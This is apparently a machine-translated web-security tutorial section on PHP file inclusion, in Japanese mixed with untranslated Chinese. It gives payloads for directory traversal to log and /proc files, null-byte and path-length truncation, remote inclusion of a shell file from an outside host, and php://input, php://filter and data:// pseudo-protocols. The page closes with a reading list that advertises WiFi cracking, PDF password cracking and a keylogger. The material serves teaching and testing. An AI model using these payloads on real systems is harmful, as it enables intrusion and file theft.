コンテンツ
4.9.ファイルインクルード
4.9.1。基本
一般的なファイルには、次の形式の脆弱性が含まれています<?php include("inc/" . $_GET['file']); ?>
一般的に使用されるいくつかの包含方法を次のように考えます。
- 同じディレクトリに含まれています
file=.htaccess
- ディレクトリトラバーサル
?file=../../../../../../../../../var/lib/locate.db
- ログインジェクション
?file=../../../../../../../../../var/log/apache/error.log
- 利用
/proc/self/environ
ログは、SSHログやWebログなどのさまざまなログソースを使用してテストできます。
4.9.2。シンクのトリガー
PHP
include
在包含过程中出错会报错,不影响执行后续语句
include_once
仅包含一次
require
在包含过程中出错,就会直接退出,不执行后续语句
require_once
4.9.3。バイパステクニック
一般的なアプリケーションは、ファイルが含まれる前にファイルを判断する関数を呼び出す場合があります。一般に、次のようないくつかのバイパス方法があります。
4.9.3.1。URLエンコードバイパス
WAFに文字列一致がある場合は、urlエンコード方式を使用して
4.9.3.2。特殊文字のバイパス
-
某些情况下,读文件支持使用Shell通配符,如 ? * 等 url中 使用 ? # 可能会影响include包含的结果 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
4.9.3.3。%00の切り捨て
magic_quotes_gpc
閉じられており、phpバージョンが5.3.4未満である場合、ほとんど最も一般的な方法です。
4.9.3.4。長さの切り捨て
Windowsでのファイル名の長さは、ファイルパスに関連しています。具体的な関係は次のとおりです。ルートディレクトリから計算すると、ファイルパスの最大長は259バイトです。
msdn定義#define MAX_PATH 260
、260番目の文字は文字列の終わりであり\0
、Linuxはgetconfを使用して、ファイル名の長さの制限とファイルのパスの長さの制限を決定できます。
最長のファイルパス長を取得します:getconf PATH_MAX / root get 4096最長のファイル名を取得します:getconf NAME_MAX / root get 255
次に、長さが制限されている場合、././././
(n)フォームはこれを通るパスを爆発させることができます
phpコードインクルードでは、このバイパスにはphpバージョン<php5.2.8が必要です
4.9.3.5.偽のプロトコルバイパス
远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On ,
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
PHP input: 把payload放在POST参数中作为包含的文件,
要求 allow_url_include=On ,payload为 ?file=php://input 的形式
Base64: 使用Base64伪协议读取文件,
payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
data: 使用data伪协议读取文件,
payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,
要求 allow_url_include=On
4.9.3.6.プロトコルバイパス
allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
おすすめの読み物
[python戦闘]元ガールフレンドの結婚式、pythonは結婚式のサイトでWIFIをクラックし、名前をに変更しました
[Pythonの戦闘]元ガールフレンドから送信された暗号化された「520happy.pdf」をPythonでクラックした後、
[pythonの戦闘]pythonyouTMはスキニーすぎます-わずか30行のコードでキーボードのすべての動きを記録できます
[ Pythonコンバット]女神アルバムのパスワードを忘れてしまいました。Pythonで20行のコードしか書きませんでした~~~
pygameシリーズの記事
一緒にpygameを学びましょう、ゲーム開発の30のケース(2)-タワーディフェンスゲーム
一緒にpygameを学びましょう、ゲーム開発の30のケース(4)-テトリスゲーム
一緒にpygameを学びましょう、ゲーム開発の30のケース(5)-Xiaoxiaoleゲーム
pygameゲームの26のケースとソースコード[合計4億]_pygameゲームの動作、pygameゲームのソースコード-Pythonドキュメントリソース-CSDNダウンロード
ガールフレンドはおやすみ後もまだオンラインです:pythonのボーイフレンドは20行のコードでガジェットを書きました-プログラマーが探しました
Pythonポジショニング写真の正確な位置の完全なコードスクリプト-Pythonドキュメントリソース-CSDNダウンロード
ペネトレーションテスト関連ツール
Brutecrackツール[WIFIPR中国語版]およびwpa/wpa2辞書-その他のドキュメントリソース-CSDNダウンロード
[Kali共通ツール]inssidersignaltest software_kali commontools_inSSIDer-ネットワーク管理ソフトウェアドキュメントリソース-CSDN、
ダウンロード側で実行します説明と実際の戦闘-ネットワーク監視ドキュメントリソース-CSDNダウンロード